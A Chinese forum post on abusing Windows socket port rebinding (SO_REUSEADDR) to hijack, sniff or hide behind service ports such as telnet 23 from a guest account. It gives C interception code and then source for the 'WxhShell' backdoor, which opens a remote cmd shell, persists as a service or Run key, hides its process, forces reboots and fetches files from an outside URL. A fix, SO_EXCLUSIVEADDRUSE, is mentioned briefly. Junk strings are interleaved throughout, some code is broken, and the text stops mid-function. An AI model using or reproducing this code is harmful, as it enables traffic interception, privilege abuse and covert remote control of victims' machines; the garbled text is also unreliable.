社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18381阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7KN+ @6!x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #~[{*[B+  
5A+r^xN  
  saddr.sin_family = AF_INET; r0q?e`nsA  
s&1}^'|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vQy+^deW  
BH0s ` K"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %Ot*k%F  
P4fnBH4OQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lr]C'dD  
%H4>k#b@$  
  这意味着什么?意味着可以进行如下的攻击: h}Lrpr2r  
+!)_[ zo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  rp=Y }  
-|I_aOC@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Mb-AzGsV  
-Eoq#ULvR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NRazI_Z  
i&j]FX6q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !,R=6b$E5  
{RI)I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +0) H~ qB\  
ANTWWs}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \LM.>vJ  
^O,r8K{1n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 onl,R{,`0  
& l0LW,Bx  
  #include 0<+eN8od.  
  #include (XEJd4r  
  #include Z=oGyA  
  #include    ~~q>]4>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a}X. ewg  
  int main() (*9-Fa  
  { sfk;c#K  
  WORD wVersionRequested; mDO! o  
  DWORD ret; 73JrK_h  
  WSADATA wsaData; V=<AI.Z:w  
  BOOL val; 49YN@ PXC  
  SOCKADDR_IN saddr; A2SDEVU  
  SOCKADDR_IN scaddr; <GLn!~Px@5  
  int err; ^Hz1z_[X@  
  SOCKET s; Ey% KbvNv  
  SOCKET sc; Hyi'z1  
  int caddsize; w-3Lw<  
  HANDLE mt; |,tKw4  
  DWORD tid;   a%5/Oc[[  
  wVersionRequested = MAKEWORD( 2, 2 ); Z1.v%"/(  
  err = WSAStartup( wVersionRequested, &wsaData ); bnJ4Edy  
  if ( err != 0 ) { nd&i9l  
  printf("error!WSAStartup failed!\n"); k"6&&  
  return -1;  HlEHk'  
  } [Y.=bfV!  
  saddr.sin_family = AF_INET; Dt(xj}[tC  
   J~C=o(r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V>D}z8w7  
N_/+B]r }T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dWdD^>8Ef  
  saddr.sin_port = htons(23); jB`:(5%RO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w~yC^`  
  { '4CD }  
  printf("error!socket failed!\n"); d.HcO^  
  return -1; ~K"nm{.  
  } Z\cD98B#  
  val = TRUE; 4W}mPeEeV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (T%Ue2zlY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )S;3WnQ)  
  { MBAj.J  
  printf("error!setsockopt failed!\n"); rA E5.Q!u  
  return -1; 5vJxhBm/  
  } ~/XDA:nfL:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M6GiohI_"P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wB&5q!{!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U uC-R)  
#\_ 8y`{x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8H|ac[hXK2  
  {  0T^ 0)c  
  ret=GetLastError(); cICf V,j  
  printf("error!bind failed!\n"); 6b9J3~d\E  
  return -1; nxNHf3   
  } =3!o _  
  listen(s,2); /4@ [^}x  
  while(1) O<E8,MCA[a  
  { a&UzIFdB  
  caddsize = sizeof(scaddr); M93*"jA  
  //接受连接请求 hRMya#%-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vPc*x5w-  
  if(sc!=INVALID_SOCKET) ,HI% ym  
  { yDWBrN._  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fI1 9p Q  
  if(mt==NULL) r=~K#:66  
  { jw`05rw:  
  printf("Thread Creat Failed!\n"); m)3M)8t  
  break; FBbaLqgVF{  
  } {&UA6 0~6  
  } klH?!r&  
  CloseHandle(mt); ib~i ^_p  
  } pb)kN%  
  closesocket(s); !0vLSF=  
  WSACleanup(); `oH4"9&]k3  
  return 0; (w:,iw#  
  }   k>7bPR5Mw  
  DWORD WINAPI ClientThread(LPVOID lpParam) -/V(Z+dj  
  { A=IpP}7J  
  SOCKET ss = (SOCKET)lpParam; x/wgD'?  
  SOCKET sc; xVgm 9s$"c  
  unsigned char buf[4096]; /sj*@HF=  
  SOCKADDR_IN saddr; r7L.W  
  long num; ,II3b( l  
  DWORD val; kD?@nx>  
  DWORD ret; '5LdiSk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >]_^iD]*t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C ocw%Yl  
  saddr.sin_family = AF_INET; 6B|i-b $~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ie|5,qw E  
  saddr.sin_port = htons(23); AI Kz]J0;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W]bgWKd  
  { l#%7BGwzY  
  printf("error!socket failed!\n"); RV);^, b  
  return -1; O5Z9`_9<  
  } RRV%g!  
  val = 100; m C`*#[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^+v1[U@  
  { =J)<Nx.gA  
  ret = GetLastError(); CtV|oeJ  
  return -1; >TY;l3ew  
  } dR;N3KwY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NkO+ )=  
  { y_w  <3  
  ret = GetLastError(); X^K^az&L  
  return -1; d;]m wLB0  
  } k sXQ}BE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?|+e*{4k  
  { Z\xnPhV  
  printf("error!socket connect failed!\n"); 6h2keyod  
  closesocket(sc); ;Q^>F6+_m  
  closesocket(ss); 8'jt59/f  
  return -1; ) $b F*  
  } _#NibW  
  while(1) `[g$EXX  
  { ()bQmNqmO=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r)>3YM5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M\a{2f7'n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6]~/`6Dub  
  num = recv(ss,buf,4096,0); EJ#I7_  
  if(num>0) mL2J  
  send(sc,buf,num,0); rDhQ3iCqo  
  else if(num==0) z!O;s ep?/  
  break; pu]U_Ll@  
  num = recv(sc,buf,4096,0); 7Q9Hk(Z9  
  if(num>0) ( _6j@?u  
  send(ss,buf,num,0); 6QCV i  
  else if(num==0) Z4Dx:m-  
  break; n]`]gLF\i  
  } [n)ak)_/  
  closesocket(ss);  Ux*xz|^  
  closesocket(sc); -X!<$<\y;  
  return 0 ; %UrNPk  
  } /MY's&D(  
xb3G,F  
Q=Mv"~2>B  
========================================================== IDT\hTPIs  
-d A9x~o  
下边附上一个代码,,WXhSHELL @n?"*B  
m~AAO{\:b  
========================================================== n=V|NrU  
F:T(-,  
#include "stdafx.h" Rw{' O]Q*  
I3Z?xsa@Z  
#include <stdio.h> hmGlGc,lf  
#include <string.h> Ig}hap]G  
#include <windows.h> jI7 x<=  
#include <winsock2.h> &gY578tU  
#include <winsvc.h> PL{lYexJ  
#include <urlmon.h> # o/;du  
RU7+$Z0K  
#pragma comment (lib, "Ws2_32.lib") <<u]WsW{C  
#pragma comment (lib, "urlmon.lib") Lw,}wM5X  
jmwN1Se>  
#define MAX_USER   100 // 最大客户端连接数 #$xtUCqX  
#define BUF_SOCK   200 // sock buffer rIPfO'T?  
#define KEY_BUFF   255 // 输入 buffer o #\L4P(J  
qsW&kW~  
#define REBOOT     0   // 重启 b4cTn 6  
#define SHUTDOWN   1   // 关机 Awxm[:r>^  
s_/@`kd{  
#define DEF_PORT   5000 // 监听端口 =o~+R\1ux+  
ocWl]h].  
#define REG_LEN     16   // 注册表键长度 JI]Lz1i  
#define SVC_LEN     80   // NT服务名长度 ]pBEoktp  
k- 9i  
// 从dll定义API aOGoJCt C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `aAE4Ry?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m`-:j"]b$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #~nXAs]Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F$tzsz,9n  
'RKpMdoz  
// wxhshell配置信息 8xAIn>,_  
struct WSCFG { _ikKOU^8  
  int ws_port;         // 监听端口 3]?='Qq.(  
  char ws_passstr[REG_LEN]; // 口令 G{fPQ=  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yc]k<tQ  
  char ws_regname[REG_LEN]; // 注册表键名 %<nGm\  
  char ws_svcname[REG_LEN]; // 服务名 x}K|\KXy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7V::P_aUY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _]o7iqtv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T90O.]S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |Jd8ul:&e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i /[{xRXiR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j[:70%X  
KBtqtE'(L  
}; !9 kNL  
^UKY1Q .  
// default Wxhshell configuration XLpn3sX$  
struct WSCFG wscfg={DEF_PORT, 6AJ`)8HX  
    "xuhuanlingzhe", *Ci&1Mu^Z  
    1, 1$03:ve1  
    "Wxhshell", ^-PYP:*  
    "Wxhshell", w:%NEa,Z  
            "WxhShell Service", wsB-( 0-  
    "Wrsky Windows CmdShell Service", ~3j +hN8<  
    "Please Input Your Password: ", ? bWc<]  
  1, #Y7iJPO  
  "http://www.wrsky.com/wxhshell.exe", 6O{QmB0KK  
  "Wxhshell.exe" W?zj^y[w  
    }; :2c(.-[`  
W)r|9G8T  
// 消息定义模块 >l)x~Bkf$j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qpe9?`vVX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vzI>:Bf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (Ud"+a  
char *msg_ws_ext="\n\rExit."; HLDv{G'7  
char *msg_ws_end="\n\rQuit."; A}9^,C$#  
char *msg_ws_boot="\n\rReboot..."; v1yB   
char *msg_ws_poff="\n\rShutdown..."; >x6\A7  
char *msg_ws_down="\n\rSave to "; :!Q(v(M  
kYkA^Aq  
char *msg_ws_err="\n\rErr!"; vo }4N[]Sb  
char *msg_ws_ok="\n\rOK!"; {= &&J@:  
z.hq2v  
char ExeFile[MAX_PATH]; h!(# /  
int nUser = 0; h='&^1  
HANDLE handles[MAX_USER]; &&<l}E  
int OsIsNt; TxQsi"0c  
W#g!Usf:/  
SERVICE_STATUS       serviceStatus; N~v<8vJq`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IxWi>8  
,/p+#|>C=  
// 函数声明 7CR#\&h`  
int Install(void); .{t5_,P  
int Uninstall(void); nt>3i! l  
int DownloadFile(char *sURL, SOCKET wsh); b)Nd}6}<?  
int Boot(int flag); X{cB%to  
void HideProc(void); 8u)>o* :  
int GetOsVer(void); q/*veL  
int Wxhshell(SOCKET wsl); k}g4?  
void TalkWithClient(void *cs); z[[qrR  
int CmdShell(SOCKET sock); U+B{\38  
int StartFromService(void); :dipk,b?n  
int StartWxhshell(LPSTR lpCmdLine); 4Hf'/%kW  
*N ~'0"#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s7}-j2riq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mvpcRe <  
gAEB  
// 数据结构和表定义 eVMnI yr  
SERVICE_TABLE_ENTRY DispatchTable[] = mnZfk  
{ #o~C0`8!B=  
{wscfg.ws_svcname, NTServiceMain}, S3HyB b  
{NULL, NULL} Q1kM 4Up  
}; 5.\|*+E~  
`j'1V1  
// 自我安装 a|y'-r90  
int Install(void) nvQX)Xf  
{ X^&--@l}T!  
  char svExeFile[MAX_PATH]; % mPv1$FH  
  HKEY key; L^C B#5uG  
  strcpy(svExeFile,ExeFile); N6BOUU]  
yZ=O+H  
// 如果是win9x系统,修改注册表设为自启动 be-HF;lZe'  
if(!OsIsNt) { 1jzu-s ,F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $rQ7"w J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TT;ls<(Lg  
  RegCloseKey(key); Ed0}$ b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *@@dO_%6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `N}V i6FG  
  RegCloseKey(key); .P5' \  
  return 0; #$U/*~m $  
    } @[\zO'|  
  } #d<"Ub  
} w?*79 u  
else { ?)<zzL",  
Z-}A "n  
// 如果是NT以上系统,安装为系统服务 NuF?:L[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b O}&i3.L;  
if (schSCManager!=0) *e:I*L  
{ 7zN7PHT=$t  
  SC_HANDLE schService = CreateService Y0Tw:1a  
  ( yoieWnL}  
  schSCManager, b$ 8R  
  wscfg.ws_svcname, #Ddo` >`&  
  wscfg.ws_svcdisp, M'X,7hZ  
  SERVICE_ALL_ACCESS, b!J?>du  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PD^ 6Ywn>s  
  SERVICE_AUTO_START, M.qv'zV`xG  
  SERVICE_ERROR_NORMAL, 7z\ #"~(.  
  svExeFile, Y HS/|-  
  NULL, icVB?M,m  
  NULL, )3|a_   
  NULL, ;2 ?fz@KZ  
  NULL, 1x##b [LC  
  NULL :YX5%6  
  );  (t@!0_5  
  if (schService!=0) &+hk5?c /  
  { &N/dxKZcc  
  CloseServiceHandle(schService); lc [)Ev  
  CloseServiceHandle(schSCManager); 5}5oj37x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XN\rq=  
  strcat(svExeFile,wscfg.ws_svcname); \v{HjqVkC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  Ks^wX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); muK.x7zyl  
  RegCloseKey(key); !lZ}kz0  
  return 0; <dXeP/1w`  
    } !"E/6z2&(k  
  } |{,c2 Ck:N  
  CloseServiceHandle(schSCManager); 9@Cu5U]  
} -I*vl  
} 2zv:j7  
tblduiN   
return 1; sUiO~<Ozpk  
} 9R-2\D]  
K2v[_a~@  
// 自我卸载 .Tw:Y,G  
int Uninstall(void) y>T>  
{ Cd6th F)  
  HKEY key; 1@TL>jq  
pP"j|  
if(!OsIsNt) { &(p5z4Df  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <4zSh3  
  RegDeleteValue(key,wscfg.ws_regname); 8B!QqLqK  
  RegCloseKey(key); !N][W#:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N<Ym&$xR  
  RegDeleteValue(key,wscfg.ws_regname); "So "oT1  
  RegCloseKey(key); &?xtmg<d  
  return 0; nHZhP4W  
  } ru1^. (W2  
} c|k(_#\B  
} Dwr"-  
else { =C|^C3HK  
dd +lQJ c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BbL]0i  
if (schSCManager!=0) SY@;u<Pd   
{ Vvfd?G"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |-cXb.M[  
  if (schService!=0) ,S`F xJcE  
  { ~oK0k_{~  
  if(DeleteService(schService)!=0) { G-:7,9  
  CloseServiceHandle(schService); 2BT+[  
  CloseServiceHandle(schSCManager); .SSyW{a3w  
  return 0; udc9KuR@  
  } )7#3n(_np  
  CloseServiceHandle(schService); \;Q!}_ K  
  } =@hCc  
  CloseServiceHandle(schSCManager); O69TU[Vn  
} -Oz! GX  
} !\Cu J5U  
tehWGqx)  
return 1; uc]5p(9Hb  
} ,I]]52+?4  
VP~%,=  
// 从指定url下载文件 *mYGs )|  
int DownloadFile(char *sURL, SOCKET wsh) Ul 85-p  
{ ^q%f~m,O<  
  HRESULT hr; YV>&v.x0;  
char seps[]= "/"; *Utx0Me  
char *token; B| M@o^Tf  
char *file; }w >UNGUMh  
char myURL[MAX_PATH]; 7Xh @%[   
char myFILE[MAX_PATH]; <QaUq `,  
+br' 2Pn  
strcpy(myURL,sURL); ];=|))ky"  
  token=strtok(myURL,seps); 8|L5nQ  
  while(token!=NULL) Y~#F\v  
  { ^'+#BPo9@  
    file=token; m0^~VK|  
  token=strtok(NULL,seps); R,OT\FQ<  
  } 'L{pS-+6  
F/:%YR;  
GetCurrentDirectory(MAX_PATH,myFILE); yB{1&S5 C  
strcat(myFILE, "\\"); 1L?W+zMO  
strcat(myFILE, file); 1r*@1y<0"  
  send(wsh,myFILE,strlen(myFILE),0); $j@P 8<M7  
send(wsh,"...",3,0); ;l < amB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hD,|CQ  
  if(hr==S_OK) WZTv  
return 0; G_ ~qk/7mF  
else !u4eI0?R?  
return 1; VOg'_#I  
y;P%=M P  
} BXz g33  
]xJ. OUJy  
// 系统电源模块 (VHPcoL  
int Boot(int flag) K05T`+N,  
{ L i 9$N"2  
  HANDLE hToken; BmYX8j]  
  TOKEN_PRIVILEGES tkp; OKu~Nb*  
k!6m'}v  
  if(OsIsNt) { V<PH5'^$j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )?LZg<<   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8R(l~  
    tkp.PrivilegeCount = 1; @ @(O##(7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9gIim   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jj ' epbA  
if(flag==REBOOT) { Rz*GRe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `ooHABC  
  return 0; REsw=P!b  
} _?I*:: I  
else { N+pCC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]<Q&  
  return 0; `ah"Q;d$  
} t23W=U  
  } QWC C  
  else { KhL%ov  
if(flag==REBOOT) { Q0ba;KPm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZcTjOy?  
  return 0; sEL0h4  
} 'coY`B; 8  
else { @,W5K$Ka=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :<5jlpV(  
  return 0; $}us+hGZ  
} $) qL=kR  
} lWP]}Uy=5~  
Z:2%gU&W  
return 1; G6JP3dOT  
} \uJ+~db=  
r{Mn{1:O  
// win9x进程隐藏模块 WHU l.h  
void HideProc(void) oMoco tQ;$  
{ Y'+K U/H  
t2m7Yh5B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T;S6<J  
  if ( hKernel != NULL ) <P]%{msGH  
  { xjrL@LO#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q=#FvsF#z3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 95ix~cH3q  
    FreeLibrary(hKernel); ?<Mx*l  
  } `9\^.g)  
;Qc^xIPy  
return; ]bstkf}~u  
} 4<f^/!9w  
p+7#`iICE  
// 获取操作系统版本 79h'sp6;  
int GetOsVer(void) "/3YV%to-#  
{ $gL^\(_3H  
  OSVERSIONINFO winfo; BD]o+96qP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gplrJaH@  
  GetVersionEx(&winfo); 8cURYg6v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) by,3A  
  return 1; q_"w,28  
  else ( iJ /  
  return 0; :" JEC'  
} %D% Ok7s})  
VS_I'SPPIc  
// 客户端句柄模块  ?H_>?,^  
int Wxhshell(SOCKET wsl) 7E5 =Qx  
{ sNMF(TY  
  SOCKET wsh; TnQW ~_:  
  struct sockaddr_in client; (''w$qq"D  
  DWORD myID; ]c6h'}  
x]4>f[>*>  
  while(nUser<MAX_USER) 2NB $(4/  
{ N-45LS@  
  int nSize=sizeof(client); ' hdLQ\J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]M~ 7L[  
  if(wsh==INVALID_SOCKET) return 1; 4`Jf_C  
 OAgZeK$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D/,(xWaT  
if(handles[nUser]==0) <KE%|6oER  
  closesocket(wsh); .;(a;f+{;  
else OXB 5W#$  
  nUser++; b%d,X-3  
  } =p:~sn#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); } na@gn  
Deq@T {  
  return 0; 4RH>i+)pS\  
} ;*=7>"o'`  
Rh)%;  
// 关闭 socket _!w69>Nj  
void CloseIt(SOCKET wsh) b.9[Vf_G  
{ vV"I}L  
closesocket(wsh); `91Z]zGpU  
nUser--; !HeQMz  
ExitThread(0); u 7 <VD  
} @twi<U_  
[e{D  
// 客户端请求句柄 t oM+Bd:Y  
void TalkWithClient(void *cs) $)KNpdXh  
{ w?Cho</Xu  
*Y!RU{w+Z  
  SOCKET wsh=(SOCKET)cs; ,4;'s  
  char pwd[SVC_LEN]; lAo4)  
  char cmd[KEY_BUFF]; 7 ;2>kgf~  
char chr[1]; X0]$Ovq(l  
int i,j; BH}M]<5  
&MB1'~Q,hq  
  while (nUser < MAX_USER) { #nmh=G?\Sm  
8>xd  
if(wscfg.ws_passstr) { (CAkzgTfc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `P$X`;SwE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,jl4W+s  
  //ZeroMemory(pwd,KEY_BUFF); *)vy%\  
      i=0; R0bgt2J  
  while(i<SVC_LEN) { u<+"#.[2v~  
4ti,R'  
  // 设置超时 pOj8-rr  
  fd_set FdRead; J*AYZS-tSE  
  struct timeval TimeOut; R38 \&F  
  FD_ZERO(&FdRead); 0n={Mb  
  FD_SET(wsh,&FdRead); {s6hi#R>  
  TimeOut.tv_sec=8; ,D&-.`'E  
  TimeOut.tv_usec=0; Ht@5@(W]I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h8;H<Y;yQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gh<#wa['}  
ofsLx6Po  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;wZplVB7y  
  pwd=chr[0]; $bN_0s0:'  
  if(chr[0]==0xd || chr[0]==0xa) { 1)f <  
  pwd=0; ZmJ<FF4  
  break; \tP*Pz  
  } ]O0u.=1k  
  i++; ( efxw  
    } k,ezB+  
o  WAy[  
  // 如果是非法用户,关闭 socket ' t^ r2N/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p }Bh  
} i?|u$[^=+  
3{TE6&HIa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]Y$jc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8~O0P=  
Nk1p)V SC  
while(1) { O(:/ &`)  
nj-LG!"a  
  ZeroMemory(cmd,KEY_BUFF); e+?;Dc-SJ\  
-U;=]o1  
      // 自动支持客户端 telnet标准   xhB-gG=  
  j=0;  sHOBT,B  
  while(j<KEY_BUFF) { R~;8v1>K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b=SCyGxlZ5  
  cmd[j]=chr[0]; 4E$d"D5]>p  
  if(chr[0]==0xa || chr[0]==0xd) { DU-dIq i  
  cmd[j]=0; 9"}5jq4*  
  break; JZJb&q){  
  } @ *5+ZAF  
  j++; V@\u<LO0G  
    } KHM,lj*  
hE'>8{  
  // 下载文件 08g2? 5w"  
  if(strstr(cmd,"http://")) { /4upw`35]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R_vK^Da  
  if(DownloadFile(cmd,wsh)) E/gfX   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oe;1f#` 5  
  else k4` %.;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J6@RIia  
  } Q@*9|6-  
  else { &<cP{aBa  
=p dLh  
    switch(cmd[0]) { y!|4]/G]?t  
  .sb0|3&  
  // 帮助 }{[JS=A^  
  case '?': { W'e{2u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )r(e\_n  
    break; :*cd$s  
  } }^*`&Lh  
  // 安装 vorb?iVf>  
  case 'i': { X<f4X"y  
    if(Install()) ]}.|b6\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kZfj"+p_S  
    else IiY%y:!g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $- Y8@bw  
    break; 5JG`FRW!  
    } ?q y*`  
  // 卸载 .s|5AC[  
  case 'r': { GKG:iR)  
    if(Uninstall()) j|b$b,rF\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _P%PjFQ)  
    else  l .m #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [I[*?9}$"  
    break; $MM[`^~  
    }  }s8xr>  
  // 显示 wxhshell 所在路径 EEvi_Z932  
  case 'p': { 5H( ]"C  
    char svExeFile[MAX_PATH]; uI3oPP> $  
    strcpy(svExeFile,"\n\r");  J@J`)  
      strcat(svExeFile,ExeFile); N1U.1~U  
        send(wsh,svExeFile,strlen(svExeFile),0); lGJ&\Lv:  
    break; d-gcXaA-8  
    } ]|[mwC4  
  // 重启 %2beoH'  
  case 'b': { V h5\'Sn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >VG*La' c  
    if(Boot(REBOOT)) BT f  
